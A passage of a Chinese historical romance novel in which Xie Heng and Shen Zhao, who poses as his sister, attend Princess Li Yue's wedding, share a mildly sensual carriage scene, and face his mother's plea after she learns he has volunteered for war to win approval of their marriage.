他的祖母本就是出身于商贾之家,虽是五望七姓之一,但当时出嫁时,亦受了不少指摘,幸得她的夫君视她如珍宝,她霎时间明了谢珩的一番苦心,问道:“是哪家的姑娘,让珩儿如此动心?” 祖母脸上笑意未减,眸子笑成一线,等着他的回答。 谢珩直言道:“她姓沈名昭,并非长安人。” 简短直白,一句非长安人正中了他祖母的猜想,但他已然不能再多言,他祖母虽然身子康健,可他不能用谢怀瑾的死去刺激她,让祖母接受仍需有个过程,不能操之过急。 祖母心中了然,不愿多问,珩儿办事有他的考量,若是他有十足的把握,定会直接将这女子带到她面前,她心中既惋惜又有一丝期待。 这女子定然有旁人不及的风采,她只需静候便是:“珩儿长大了,缘分一事可遇不可求,若人家姑娘对你亦有情意,便好好珍惜,你母亲那方,待我回府也会帮你们说上几句。” “谢祖母成全。” “都是自家孩子,不必如此生分。” 两人又就府中之事,闲话一会后,谢珩拜别祖母离开。 谢珩这面得了祖母首肯,高峻那方却是直接将喜帖送到了晋国公府上。 因着最近战事吃紧,李玥主动提出不想大办她的婚事,景明帝知她乖巧懂事,从他的私库中挑了几样宝贝赐予她,下旨破例提升她的品级至正一品,以往只有皇后所出才有如此品阶。 她这几日多次派人入晋国公府去寻沈昭,但每每晋国公府以沈昭身子不适为由回禀。 她心中不安,婚事虽然简办,该有的流程仍不能少,她忙于这些琐事,一时无暇出宫去见沈昭了。 同高家喜帖一同送到的,除了宫内派出给李立雯的那份喜帖,还有一封是她专为沈昭而下。 这一切本该由礼部张罗,但李玥多日未见沈昭,又念着若不是有她在旁帮衬,她这门婚事只怕遥遥无期,特意递上公主令下了帖子,足见她对其看重。 自那日谢珩带沈昭出府后,她们两人都未曾回过府中。 李立雯下了严令,禁止府内任何人议论此事,或将此事流传出去。 偶有一个家丁小声议论几句,传入她耳中都被她严声斥责,发卖到隔壁的州府,此一番杀鸡儆猴,其他人得了教训,缄默不言。 可她能阻着宫内的一次次问询,却拦不住已经定下的公主婚期。 景明帝看重公主,朝野尽知,公主大婚,又亲自下了令,若强行不让沈昭去只怕更引人怀疑。 李立雯思量许久,只能妥协,她一向顾及名声,面子上终得过得去。 她留下礼部发的帖子,将高府和公主下的那份派人送去左衙,忍着怒气说道:“告诉珩儿,让他带着他妹妹去参加公主府的喜宴。” 长乐公主大婚,是长安城中最大的喜事。 沈昭带着婢女去街市中采买时,街头巷尾都在议论此事,城中气派些的店家亦挂上红绸,举国同庆。 李玥最终能如愿同高峻结亲,沈昭自然满心欢喜,她去了城里最好的首饰铺子,选了一只金步摇作为贺礼,金箔薄如蝉翼,以凤凰栖息于并蒂莲中,口含明珠,垂下的流苏玉坠,经日光照耀,莹莹发亮。 她一眼选中这只,可心中不免惋惜,她和李玥相识一场,她却不能亲自道贺,只得托谢珩赠与,曾经他们几人同游交好,李玥是她在此唯一一个交心的姊妹,可若失去了谢家小姐的身份,她们只怕连见面的机会都不曾有了。 哪怕面上不显,她心中仍怏怏。 马车慢慢向私宅驶回,秋意深深,满地落叶铺就。 沈昭刚踏入门槛,谢珩已带着两份喜帖候在院中,玄色衣袍笔挺如松,风吹起衣摆,轻扫地上烟尘,倒叫院中那棵青松都苍老了几分。 听闻马车声,谢珩先一步转身,接过她手中的物件交于家仆,上前迎她。 沈昭嘴角扯出一个勉强的弧度,牵起他的手,浅笑道:“怎的今日这么早便回来了?” 给主家办事最要紧的便是耳聪目明口严,见谢珩出手不凡,家仆们只心中猜测,这约莫是私逃外出的一双璧人,再多便不敢妄自揣测了,他们匆匆退下。 谢珩拉过她的手,翻掌为上,将公主那份特意送出的喜帖放在她手上:“这是公主特意送到府上的,千叮万嘱要亲自交给你。” 沈昭低头翻开,不禁失神怔住,洒金的簪花小楷浮在红纸之上,像振翅欲飞的蝶,翅膀稍一颤动,便撩拨她心里那根弦。 她久未同公主联系,上次从谢珩口中探得高峻态度,也阴差阳错没有来得及告诉她,可是李玥心心念念她的瑾姐姐,为她下了独一份的喜帖,持着她的玉令,亦可自由出入内廷。 但她终究迟疑了,她不想惹李立雯不快,可又想到场亲自贺李玥一声。 谢珩的话一扫她的顾虑:“此贴是母亲派人送来,她想你仍以谢怀瑾的名义去贺公主,不知你可愿意,若是不愿倒也无妨。” “当然愿意。”沈昭未假思索直接应下,若能寻得机会去亲自祝贺她唯一的朋友,她当然愿意。 何况谢家兄妹出席,亦是给李立雯在外人面前的体面。 因着多日没有同公主互通,怕她担心,沈昭又书信一封,托谢珩送入宫内,让李玥安心当她的新娘子,她定会随母亲前去观礼。 大婚前一日,谢珩同沈昭坐上了回国公府的马车。 马车停在府前,谢珩先一步踏上马车,俯身去接她,修长如玉的手优雅地探到她眼前。 因着深秋,又添了几层薄衫,衣服比往日重了些,沈昭一手拎着衣裙,将手自然搭于他掌中,双脚还未在车凳上踩稳,便由着他的力道,凌空而起,被他稳稳接住,揽过她的腰肢,扶她入车内。 因着这处私宅中都是谢珩的人,众人只垂首不语。 杨方虽知他们并非有血缘姻亲的兄妹,但在他眼中,沈昭曾是御风未过门的妻子严元清,不过御风已死,何况他们两人情投意合,杨方只耐心听从吩咐,不会多言。 马车一路向城中驶去,这几日公主大婚,附近州府来看热闹的人不少,车马往来频繁。 马车内,沈昭拉开谢珩紧贴在她腰间的大手,往旁挪了挪:“我们马上就要进城了,你安分些。” 谢珩却随着她又靠了过来,一手撑在一旁车舆上,将她完完全全圈在方寸之隅:“怎的,这么快便喜新厌旧了?我若不将你看得紧些,公主大婚之日,若你被其他侯府公子看上,或是瞧上了哪家公子,将我弃了,我该找谁哭诉去?” 这几日谢珩早出晚归,只道是忙着高峻和公主大婚,不见其踪迹,又因着沈昭入睡早,每每他深夜回府时,她早已歇下,又不忍吵她。 他们确实已许久没有好生说过几句。 他粘她粘的厉害,若非事情一件接着一件,忙得他无暇顾及,他恨不得整日同她在府中呆着,哪怕只单单瞧着她,也心满意足。 沈昭今日着一身藕粉色的襦裙,在外披了一件淡青色披袄,裙摆如花般层层绽开,胸前束着石榴红的花鸟纹坠珠锦带她不过略施粉黛,便令人无法将目光从她脸上挪开。 她听着谢珩略带埋怨似的低喃,环住他的脖颈,俯身在他脸颊上轻琢一下:“怎么会呢,长安城里最俊俏的公子在我面前,旁人又岂会吸引我的视线,明日你可莫将新郎官儿高峻比下去了,否则,他怕是要怨怼你一辈子了。” 谢珩嘴角上扬起明媚的弧度,俯身衔住她的唇,轻蹭过那寸温软。 马车颠簸,侧帘经风吹起,漏出一线光亮,将外面的景色一览无余,同样,若是旁人向内探,亦能看到车内旖旎。 沈昭逃似的将脸偏过去,低语道:“别闹!” 话音刚落,还未等她反应,谢珩伸手揽过她纤细的腰肢,稍稍用力,将她整个人抱到了自己腿上,相对而坐。 她怕引人注意,抿唇抑住口中的惊呼,双手下意识地抵在他胸前,脸颊霎时飞上两团红晕。 “谢珩快入城了。”她声若蚊呐,长睫轻颤,生怕眼前人控制不住,并未抬眼看他。 他低笑一声,环抱着她的双臂猛地将拉到自己怀中,温热的气息洒在她耳畔:“别怕,如此旁人便看不见你。” 抵在他胸前的手,感受着他胸膛的起伏波动,车马碾过碎叶的沙沙声,不及他心如擂鼓的跃动。 他修长的手指一寸寸轻抚上她的脸颊,指尖的温度让她浑身一颤,他的拇指抚过她的弯眉,细长的睫毛,顺着她挺翘又小巧的鼻峰,落到她透着薄红的鼻尖。 最后连目光锁在她如樱的唇瓣上。 他喉结微动,忽然倾身向前。 沈昭只觉眼前一暗,唇上便覆上一片温热,触感像轻柔的羽毛拂过。 谢珩饶有意味地回味这个吻,由浅尝到吮咬,他一手托着她的后脑,环在她腰间的手将她带得更近,两个人彼此紧紧相依,仿佛要将她揉入自己的骨血中。 沈昭双手不自觉地攀上他的肩膀,指尖触及他锦衣之下坚实有力的肌肉,白皙的藕臂慢慢环住他的脖颈,像藤蔓轻轻缠绕于粗壮的虬枝,严丝合缝。 马车上悬挂的铜铃叮当作响,却掩不住两人交错的呼吸声。 谢珩的吻从她的唇慢慢移脸颊,用舌卷起她几欲滴血的耳垂,最后落在她如雪的颈间。 胸前锦带红得妖艳又诱人,他咬唇扯上锦带的一端,抬眸看她。 如玉的芙蓉面上染了红,更像含苞待放的花儿,娇艳得只需一眼,便忍不住将其摘下。 她被他亲得浑身发软,一双柔夷无力地搭在他脑后,忽觉一股热息喷洒在她雪团之上,她方才轻颤睫毛,睁开双眼,对上他幽深的眼眸,虽蒙了一层薄薄的水雾,但眸中的火已有燎原之势,将她灼得无法喘息。 她软声道:“别。” 同一刹那,谢珩微微张口,牙齿咬住锦带的一端,缓缓向外拉扯,锦带在他齿间摩擦,被他轻易扯开。 她的外衫垂下,露出其中月白色的小衣,以及若隐若现的雪白。 谢珩喉结滚动,他用唇轻吻她露出的每一处,每一次触碰都像带着微弱的电流,激得她浑身酥麻。 她喘息着仰起头,纤细的脖颈划出一道优美的弧,任由他的唇在上面流连。 周围车马往来喧闹,这团烧不尽的火却在马车中欲燃愈烈,直到谢珩向车外匆匆一瞥,快到国公府了。 他微眯着眸子,瞬间从情|欲中清醒几分,停住所有动作,额头无力地抵在沈昭的肩头,粗喘着气平复体内的躁动。 沈昭亦回过神来,羞得雪颈都染上一层浅浅的绯色,她起身整理衣衫,却被谢珩轻轻按住,捡起一旁的锦带:“别动。” 谢珩深吸一口气,强压□□内未熄的火,小心翼翼替她拢好散乱的衣襟,他的手指修长灵活,惯用各种兵器,可眼下却有些微微发抖,他仔细地为她系好,反复几次,终于打了个像模像样的结扣。 沈昭脸上的红晕未退,长睫低垂,羞得将视线错开,用手撑着一旁的车舆,转身坐在与他相隔几掌的距离,轻轻吐息,平复心绪。 “公子夫人,到了晋国公府了。”车夫停下马车,在外说道。 沈昭掀起车帘,[晋国公府]的金字匾额映入眼前。 她整理好衣衫,刚起身,复又被他拉住,她被谢珩抱在怀中,他双臂紧实的力量让她吃痛。 不过几日未好好见面,谢珩的不舍却格外明显。 他许久才收回手,将她头上的簪子抚正,暧昧说道:“明晚宴饮结束,我会早些回府。” 第46章 听闻今日小姐要回府,春宁和夏安昨儿便彻夜不眠,一早又将屋内房外清扫个干净,就一直守在府门口,等了半日光景,终是见到马车缓缓驶向王府。 她们探头探脑地盯着马车前的门帘,心跳几乎要蹦到嗓子间,直到看到熟悉的身影,她们小跑上前,声音浸了蜜一般:“小姐!” 两人共同扶她下车,沈昭许久没见她们,满心欢愉,一左一右拉过她们的手:“以后别叫我小姐了,毕竟我并不是。” 夏安抱住她的臂弯:“你一日是小姐,便一直是我们的主子。” 三人有说有笑,完全忘了仍在车上的谢珩。 直到他径自下车,站在沈昭一旁,春宁和夏安才退后几步,畏惧道:“少爷。” 谢珩点头应下,径自往府里走,因着还得同去见母亲,沈昭并未同她们多言,跟上谢珩的脚步,又刻意避讳保持距离,两人一同前往正厅。 李立雯心中对谢珩有气,可这几日连个人影都没见到,渐渐得便散个七七八八。 何况公主大婚,亲自下帖请沈昭到场,她哪怕再不愿,仍需在面子上过得去。 “母亲。” “夫人。” 谢珩和沈昭同时开口,李立雯只抬了抬眼皮,吩咐道:“明日公主大婚,既点名邀你,那便不许出半点差错。明日在我身边安分呆着便是。” “是。”沈昭应下,并不多言。 李立雯嘴唇瓮动,瞧着他们同进同出,她养育多年的儿子竟为了一个女子不管不顾,心中的火慢慢聚了起来,但毕竟守着满府的人,不欲再发怒,只得硬生生压下,眼不见心不烦,她摆摆手:“退下吧,明日出席的礼服绣娘已送到你房内。” 沈昭先一步回房,李立雯又留下谢珩简单交代了几句,念着明日他作为高峻傧相,还需要有番筹备,也让他也早早歇下了。 翌日,朱雀大街被净水波街,黄沙铺道。金吾卫执戟肃立,玄甲映着未熄的宫灯,寒光凛凛如霜。 承天门鼓响三通,礼炮九鸣。 高峻着一身绛纱喜袍,玉带缠腰,冠上两支雉羽随风轻颤,踏着御赐的良驹缓缓而来,身后八对鎏金香炉吞吐龙涎,熏得整条御道瑞气万千。 “请新贵人降舆——” 礼官尖细的声音刺破云霄,高峻翻身下马,腰间的蹀躞带上的金銙叮咚作响,他恭敬地踱步上前,接受皇帝赐酒。 兰香殿的朱漆大门吱呀呀洞开,七十二名彩衣婢女鱼贯而出,手中锦障迤逦铺展,经日光一照,漾起七彩涟漪。 随着礼赞声起,李玥坐着九鸾金步摇,手执象牙柄团扇遮面,扇面上绣着并蒂牡丹,金线在光下明明灭灭。 隔着一层薄扇,李玥见他高大的身影步步向他靠近,心砰砰地跳个不停,她深深吐息几次。 下步便是礼部同高峻对诗,诗成却扇,才得见新娘子的面容。 李玥的心不由得慌了一拍。 长安城中谁人不知,高峻一向不务正经,上次诗会仍是提前在纸上写下谢珩所作,他才对上几句,这清清白白的字连到一起别扭成绕口的句子,他看着都心烦。 今日当着文武百官同她的父皇母妃,若是此时出丑,李玥倒不甚介意,但只怕高家颜面上挂不住。 礼官声起上句,李玥紧张得咬唇闭眼,眼前的虚影昂首挺立,缓缓开口,字字如瑶琴泛音,清越入耳,直透云霄。 从容不迫,对答如流,连队列中的朝臣都不由得点头赞叹。 随着他话音落下,李玥手中的团扇缓缓而落。 日光正盛,愈发衬得他面容清朗,他长身玉立,立于阶前,发束玉冠,乌黑如绸,经光一照,眼底似有碎金浮动,眼波流转隐见风华。 本就是长安城里的风流人物,经这红色喜袍映衬,通身矜贵不凡,不言不语时,平添了几分舒朗之气。 李玥莹白的小脸,泛起一丝红晕,羞得将头低下。 团扇落下的瞬间,高峻正撞上她那一双含着水光的眸子,她眉心花钿红如火,金箔贴的牡丹在额间灼灼欲燃,见她将视线错开,轻咬着下唇,将唇脂蹭浅几分。 他喉结滚动,只觉得日光晒得身上燥热,不若今日少穿一件内衫。 两人愣怔在原地,礼官见高峻迟迟不动,上前小声提醒道:“驸马爷,还不快登车。” 高峻应下,与公主同乘,两人并肩而坐,繁复的喜服彼此贴着,高峻以余光虚瞄着她的侧颜,小声炫耀道:“公主,我刚才背诗背得如何?若是我苦学,我弟弟和谢珩这厮,定然会拜倒在我才华之下。” 李玥心中的紧张经他一逗,霎时间散了个干净,她梨涡浅浅,仍恪守着仪态:“自是极好的。”她不断抿动唇瓣,犹豫良久,才柔柔说道,“以后,莫唤我公主了。” 四下顿时寂静无声,片刻后,她耳畔传来他清亮的一声:“娘子。” “夫君。” 两人脸上染的绯色倒比喜服更艳。 銮驾入宫,再拜帝王和宗庙,宫内的礼仪便结束了,沈昭随着李立雯站在女列中,只远远看见他们两人的身影。 公主府建在宫外,仪驾缓缓向宫门驶去,待出宫后,谢珩等一行傧相随行在后。 街上,百姓人头攒动,金吾卫肃然立于两侧,维持现场秩序。 因着公主祭拜祖先等仪式均在宫中举行,百姓们无法全程观礼,个个掂脚,扬着脖子望向路中间的銮驾。 嘴里不住赞叹,郎才女貌,一对璧人。 一扫曾经坊间的传言,喜气在整个长安城中弥漫。 礼成之后,本还有宫宴和家宴,李玥不喜在宫中宴饮,每每都是父皇喝得醉醺醺,那些歌舞见得多了便也就腻了。 正逢边境战事吃紧,国库不丰,她主动提及省下宫宴,只邀相熟的知己好友在公主府小聚。 景明帝知她这个女儿自小懂事乖顺,哪怕是简办亦不想苛待她,最后同礼部商议之下,先在宫内办个小型宫宴,只宴请三品以上的官员及其家眷,至于宫宴之后她想再如何操办,便全由她自己做主了。 沈昭并未出宫,而是随一众女眷在宫内等待宫宴,可李立雯却借故先一步回了王府。 依着宫内礼制,李立雯作为景明帝的皇妹,应是在女席之首,沈昭无任何封号或品阶在身,自是在队末。 可李立雯却偏不顾礼数,站在她身旁,毕竟是当今陛下的皇妹,也无人敢苛责于李立雯。 初时,她还以为李立雯不放心她出席如此重要场合,怕她出差错,可她总感到一丝难以言明的奇怪。 礼成之后,李立雯更是先一步离席而去,倒并不在意她在宫内如何。 宫内礼制森严,虽已经由礼部细细规制每一个细节,但她们作为宾客只有等候的份儿。 沈昭同长安城里的高门贵女只有几面之缘,连认识都算不上。 但她们有自己的圈子和熟悉的玩伴,各自聚成一堆,只余沈昭一人坐在一旁。 小姐们此番入宫,所带的婢女不得随行,又在太阳下晒了一上午,本就神情恹恹,一个个在府中都是千娇百宠的身子,哪受的这样的苦,她们坐在会客厅内,虽已备了酒水,但一个个锤着肩颈,又累又饿。 沈昭倒没有那般娇弱,且满心思都在李立雯身上,捉摸不透。 还未等她琢磨透个中缘由,一个内侍于人群中寻到她,递上一盘糕点,笑着说道:“可是沈昭沈姑娘?贵主儿辛苦,这是谢将军让奴才给您送些糕点,谢将军交代,待宫宴之后会在玄德门等您。” 沈昭谢过接下,心中泛起丝丝甜意,他便是事事都会考虑到她。 众人默然听着太监的话,眼中艳羡不已,她们的父兄平日出入宫廷,自是同宫中之人相熟,何况吩咐个奴才罢了。 但有心同无心,终是千差万别。 沈昭亦不独食,她还想多尝尝宫中的喜宴,可不能由一盘点心将自己喂饱了,招呼着各家小姐一同分享,小姐们累了半晌,也不顾及其他,围上来连声谢过,各自取了一块,不多时便一扫而净。 方才围成一堆,无意同她搭话的人,也主动围上前,一群人说说笑笑,纾解等待中的无趣。 一个时辰过后,公主驸马一同入宫,太监引她们入席,待景明帝和皇后入座后,宫宴开始。 沈昭坐在女宾一列,四周皆有软纱帐阻挡,另置屏风,谢珩等其他男子皆坐于另一侧,人影虚虚绰绰,看不清面容。 宫内等级礼制森严,她们未见到景明帝的真容,男宾那方高谈阔论,她们这旁众人默不作声,除了皇后带几杯酒水,就连李玥的生母如贵妃在席间也说不上几句话。 偶有几个性子活泛的姑娘,掩唇耳语,声量不入第三人之耳。 李玥坐在皇后身旁,早已换下嫁衣,着了另一身轻便的婚服,她一眼便看见坐在一旁的沈昭,隔空对她绽放最灿烂的笑,但念着规矩礼数只略略颔首,老老实实坐着。 沈昭也不自在,与她此前乔装进宫不同,这次毕竟在明面上,来来往往全是太监、婢女和侍卫,一言一行都在他们视野之中。进宫之前李立雯虽已经提点过她,她也设想过多种可能,但哪怕心中有所准备,身在其中却是另一番滋味。 身后婢女*贴身侍奉,她起身如厕,由婢女在前引路。 男女分厕,但通行的路却有一段相同,沈昭刚走出几步,便听得身后的声音:“谢姑娘。” 沈昭回首,对上匆匆赶来的高义信,因着宫宴中人多嘴杂,不便多言。 他只匆匆将茶树栽培的结果大概带过,最终成活了不足五株,他依着书中记载将其晾晒,蒸青压榨,甚至寻了府里的家仆拿到集市去卖,效果不佳。 甚至有百姓第二天复返,称其苦涩难以下咽,甚至差点报了官,但这些他并未明说,只是连声致歉。 未离府前,灵山寺派人送去过茶叶,沈昭曾让人去集市上卖过,可一日下来收获了了,她早就心中有数,何况本就是请他相助,又岂会得了便宜还怨怼他。 沈昭说:“该是我向你赔罪才是,耽误了你这些功夫,费心尽力。” 高义信浅笑:“我本也爱钻营这些,只是未帮到姑娘,也是我知识浅薄了,待兄长婚后,我得了闲会再多翻阅古籍,再研究一二,到时再同姑娘交流。” 哪怕嘴上不在意,可茶叶的苦涩一点点蔓至她的心头,最怕是见到一线希望,又被消耗殆尽。 前路漫漫仍需另辟蹊径,她用脸上的笑意掩盖心中那点烦闷。 两人闲话几句,各自分开。 沈昭正迎上来寻她的李玥,李玥摒退左右,亲昵地挽起她的手:“瑾姐姐,原来你在这!你送我的贺礼我收到了,我喜欢得很,谢谢瑾姐姐。” 沈昭爱抚地摸摸她的头,谁也不曾料想,初看最不可能的两人竟最后竟喜结良缘。 亦算是如她的愿了。 何况高峻并非被强硬逼迫,而是主动请婚,她从谢珩口中探得的口风还未送到李玥身前,高府的婚书便先一步呈给了圣上。 少女笑得明媚又灿烂,天真无邪,相识一场,沈昭不忍欺瞒于她,贺过她新婚之后,向李玥坦诚道:“其实我并非谢家小姐。”她将其中缘由细细讲过。 李玥听罢,虽然惊讶,倒并无其他反应,她怕旁人听去,顾及她的颜面,刻意小声问道:“那姐姐,你真实的名讳是什么,我还能再寻你玩吗?以后我不住在宫中,我们相见便会更容易了。” 那道横亘在身份和阶级之间无形的墙,被她的至纯至善轻易跨越:“我叫沈昭,玥儿你不介意我隐瞒自己的身份,同你们接触?” 李玥不甚在意,牵起她的手:“无论你是谁,同我这些时日相处的是你,不单单是个简单的名字,若没有你,我又岂能寻得机会同高峻结下这段缘分,今日喜宴,我最想感激的便是你了。” 她郑重对沈昭行了一礼,沈昭托着她的手,扶起她:“好啦,既然是把我当姐姐,何须这些礼节。” 两个姊妹相互搀扶着往回走,及至殿前,李立雯满面愁云地站于檐下,秀眉紧蹙。 她本拒了今日宫宴,为何又会突然出现在宫中? 无论是之前在王府中,还是今日观礼,她虽面无喜色,冷眼相待,但并不至于当着公主的面发怒。 一股强烈的不安涌上心头,沈昭下意识地走慢几步。 李玥未察觉到她的异样,只恭敬一礼:“姑母,怎的在殿外站着?” 李立雯并未回应她的话,冷冷的眼刀向沈昭瞥去,努力压着心中怒火:“你跟我来。” “姑母。”李玥的话音落在她们身后。 沈昭走时轻抚着她的手,低声道:“无事,我去去就来。” 李玥看着她们渐行渐远的身影,不由得攥紧手中绢帕,姑母已然知道沈姐姐的身份,她该不会在宫中为难于她吧。 但她仍不放心,遣了身旁的暗卫随行:“去,听听她们说了什么,务必要保护那名姑娘的安危。” 沈昭跟在李立雯身后,两人在宫中无人看守的一个偏院停下,确认周遭无人后,李立雯沉了沉气,开口说道:“沈姑娘,你真要置我儿于死地么?” 第47章 李立雯紧咬着唇,清丽的脸庞因震怒时红时白,她的身子甚至在控制不住地颤动。 目光却死死钉在沈昭身上,怒火之中隐藏着无尽的悲伤。 沈昭不知她何出此言,问道:“夫人,此事是我对不住谢家,但我爱重谢珩,又岂会置他于死地。” 李立雯仿佛一只断线的人偶,忽而仰头望天,放声大笑,所谓的礼数体面全都付诸于脑后,皎皎月下,她眼角滑过一滴泪,顺着她的侧脸落于颈间:“爱重,你就是如此爱重我儿的,哪怕要他以命相抵?” 沈昭难以置信,但李立雯的悲痛又做不得假:“夫人,到底发生何事?” “我不信你不知,边关告急,他自请去前线,你不会不知晓他是为了谁吧,我不过反对你们的婚事,他便要以军功来压我,这孩子,定是被你迷了心窍!他自小恭顺,若不是你,他岂会先违抗父母之命,又自甘冒沙场之险。”李立雯字字泣血,眼眸猩红地望向她。 脑中嗡得一声,霎时空白一片,周遭丝竹之声忽地远了,她的杏眸蓦得睁大,身子微微晃了晃,险些立不稳当。 耳垂上的金坠子簌簌地乱晃,映得她面容愈发苍白。 李立雯的话像淬了毒的利箭,直直插入她的心口,连呼吸都滞了滞。 谢珩从未将此事告诉他,难怪昨日在马车中,他万分不舍,放下的手一次次又将她紧紧握住。 她的指尖凝起一股冷意,顺着血脉蔓延,连带她的唇瓣也微微颤抖,胸口似压了千钧巨石,每一次喘息都扯出细密的疼。 李立雯见她不言语,又怒道:“他虽有些功夫傍身,可从未上过战场,你知那孑于一族怨恨我朝已久,战场上杀红了眼,谁会在乎他的死活,他想军功换圣上赐婚,若是他有个三长两短,岂不是要了我的命!” 话未言尽,她已然泣不成声。 沈昭朱唇瓮动,但思虑再三,她又该如何劝李立雯呢,这一切皆因自己而起。 李立雯担着整个国公府的兴衰荣辱十余年,曾经金枝玉叶的公主被岁月蹉跎了痕迹,少年丧夫失女,将所有心血倾注于唯一的儿子身上,若是中年失去谢珩,估计她也不会独活。 设身而处,若她是李立雯,她承担不起这份椎心饮泣的痛。 李立雯双手掩面,怆然泪下,眼泪扑簌簌地落下,将她身边方寸之地洇湿,仿佛下了一场只属于她的雨:“你为何啊,假作我的瑾儿,将我燃起的最后一丝希望烬灭,又拐骗我的珩儿,逼他去死,我谢家与你无冤无仇,你为何要如此对我。” 沈昭想劝慰的手悬在半空,又无力地落下,最后只紧抿着唇,缄默不言。 谢珩这几日忙着不见人影,竟是在为出征筹备吗? 他怎么会痴傻至此,为了能得她母亲的承认,允准她们的婚事,要以命去谋出路。 她的脸颊不觉滑过两行泪,直到眼前的夜色模糊,才抬起袖口堪堪拭去。 李立雯深吸一口气,将脸上零乱的脂粉胭脂胡乱擦去,一把抓起沈昭的手臂,用力之深似要把她捏碎,但说出口的话却带着哀求:“我同意你进门了,求你别让他做傻事,待他娶妻后,再迎你入门,当贵妾可好?只要你能让他别做傻事,先迎你入门也好。” 沈昭不语,不是不能,哪怕她真为了保下谢珩,应下了,但谢珩又岂会让她做妾。 只怕到时他们母子之间又是一番争执和毫不退让。 若是如此简单便能了事,他断不会自请出征。 看她不言语,李立雯的手捏紧几寸,声嘶力竭:“你怎会狠心至此,难道你真的要他死么?你口口声声说着的爱慕,是如此浅薄?怎么会有你这么狠心的女子啊!” 她哭得悲痛,此处虽然偏僻,但仍有零星婢女往来,向内侧目,匆匆一眼又小步离去。 沈昭不愿继续僵持下去,无可奈何地浅叹一声,扶着她起身:“夫人,你放心,我不会让他为难,做妾做妻,我都不会,今夜过后,我不会再同他有任何牵扯,你可满意?” 李立雯擦擦落在颈间的泪,眼中泣着血色,不敢置信问道:“你说的可当真?” 一层潋滟的水雾蒙上她的眼眸,眼前虚虚实实,看不分明,她的指尖狠狠掐入掌心,妄图以肌肤之痛盖过心底蔓延的悲伤,长长呼出一口气,决然道:“是,当真。” 一尊鎏金舞凤银杯被打翻,杯中的酒水顺着桌案流下,皇后问道:“长乐,你怎么了?” 李玥听罢暗卫的回禀,谢珩同沈昭这一事,对她的震撼还未作罢,又得知谢珩自请出征,她心神恍惚,哪还顾得什么新婚和宴饮。 婢女上前擦净她身前的桌案,又换了一尊新的杯盏。 隔着屏风,朝臣和父皇的推杯换盏之声还未歇,她起身道:“我身子有些不适,先去歇会。” 皇后忧心地望着她的背影,吩咐几人跟上侍奉。 李玥吩咐一旁的暗卫去寻驸马:“你将此事告诉驸马,让他劝劝,不,让他快去知会谢珩谢将军!” 她身旁可用的婢女有限,又不能将此事惊扰圣驾,当她再派人去寻时,偌大的皇宫,已然找不到沈昭了。 沈昭许诺李立雯之后,便由她带着,两人匆匆出了宫门。 入秋后,白日万里无云的天,及至夜深,却更加凉薄。 长乐公主大婚,普天同庆的日子,这份喜悦却与这道茕茕孑立的身影无关。 李立雯仍不完全放心,再一次确认:“你可要说到做到,莫将你哄骗我儿的那套用在我身上。” 沈昭失神地点点头:“是,从明日起”她深吸一口气,目光坚定又拒绝。 这双曾经蒙骗她数次的双眸,前所未有地真诚与笃定,倒教李立雯心中泛起一股酸涩,都是苦命的孩子,但若她不退一步,死的便是珩儿了。 李立雯一时无话可言,她不愿再多作纠缠,便坐上府里的马车先一步走了。 沈昭望着车马驶去的背影,哑然失笑,到头来长安的一切又是一场荒唐。 但走这一遭,得知己二三,有谢珩短暂相伴不算枉然。 她历经失去亲人的悲痛与绝望,自是不舍让李立雯再承担一次。 哪怕有万分之一的可能,她也不会让谢珩去涉险。 她莫名到了此地,本就如浮萍一般,飘无所居,谢珩给她编造身份,邀她共舞这曲兄妹戏码,只是曲中人情真意切,不觉动了情,可终究曲会终人尽散。 只是她从未想过,谢珩待她至此,哪怕豁上性命,也要破了长安的礼制和规矩。 从前她只觉痴儿太多,却仅只存在于戏剧话本中。 既然虚无,未免爱得轰轰烈烈,但又太过戏剧,少了几分真实。 哪怕翻遍史书也只得几对痴情怨偶,留后人哀婉叹息,可其中太多真真假假,虚实相继。 她从未当过真。 只是深陷其中时,她才知道,个中无可奈何和阴差阳错,竟这般让她难舍难离。 “小姐!”见她呆在原地愣神,夏安候了半晌,算着时辰快要到了,忍不住出声喊她。 沈昭眨眨眼,认清是她,勉强挤出一丝笑,颇为意外问道:“你怎会在此?” 夏安又朝宫内深深望去,并未见到少爷的身影,这不对呀! 明明少爷交代,会同小姐一起出宫,让她们提前在此候着,少爷人呢? 宫内。 高峻得了消息后,也在派人寻谢珩,但毕竟是宫中,不敢大张旗鼓闹出太大动静,只派了几个亲随去探。 谢珩心中存着事,只在景明帝提酒举杯时,随了几回,并未多饮。 酒宴中,虽然男女宾分开,又隔了一道屏风和层层纱帐,但他一眼便望见那纱帐之后,他放在心尖上的女子。 眉目如画,只瞧着那玲珑的身姿,便知是她,柔顺如新柳的肌肤,轻轻一握,只怕都会留下红印,被他细细看过,轻轻抚过,他岂会认不出。 他视线一直追随着屏风后曼妙的身影,直到那抹倩影起身离席,他亦随之而去。 宴饮之前他派人传话,邀她在玄德门等他,他们一同回家,谢珩此刻已在玄德门等了一炷香之久。 孤月洒下一片清辉落于他身上,月色将他颀长的身影拉至一线,风吹不动,只静静望着她来的方向。 若非是她忘了,还仅是离席如厕? 他嗤笑自己,终是太过心急了,心心念念全是她,以为她早早离席是要同他回府。 但他已然离席,自是没有再回去的道理,何况今日主角并非是他,景明帝喝得尽兴,估摸着该同高峻多饮一会。 景明帝既允了他自请出征的奏疏,只待明日上朝时下旨,也不会过分强留他,毕竟还要同家人话别,还要收拾准备行囊。 眼看着陆陆续续已有人从宫宴之中离席,向他而来,他拦下一位同僚:“宫宴可是散了?” “王大人,散了散了,要不我们去醉香居再饮几杯?”那人喝得踉跄几步,连人都认错了,趁着酒意,抬手揽上谢珩的肩。 谢珩扯开他的手,不耐地退后几步,同他拉开身距,却见杨方拿着他的令牌,从宫门急匆匆赶来:“少爷,您还等什么呢?沈姑娘早就到了!” 第48章 夏安见沈昭独自从宫门走出,虽然心中满腹疑惑,但并未多问,说多错多,何况杨方千叮万嘱,这是“惊喜”,一定不能让小姐提前知晓。 否则谢珩筹备已久的事,全毁在她手,她可担待不起。 反正她只负责小姐的事,她上前挽起沈昭的手:“小姐,走吧,少爷让我们在此等你,请随我们来。” 沈昭方才同李立雯交谈良久,又紧随着她出宫,适才想起与谢珩约定于玄德门相见,只怕他仍在宫中等她。 她转身欲回宫去寻。 夏安反拉住她,心里已经急了些,扶着她走到马车旁:“无妨,小姐,让杨方去告诉少爷就是,我们先送你回去。” “等等。”沈昭刚才哭过一会,此刻衣衫被汗和泪打湿,发髻微乱,只是因着夜深,夏安没有细看,才未发觉。 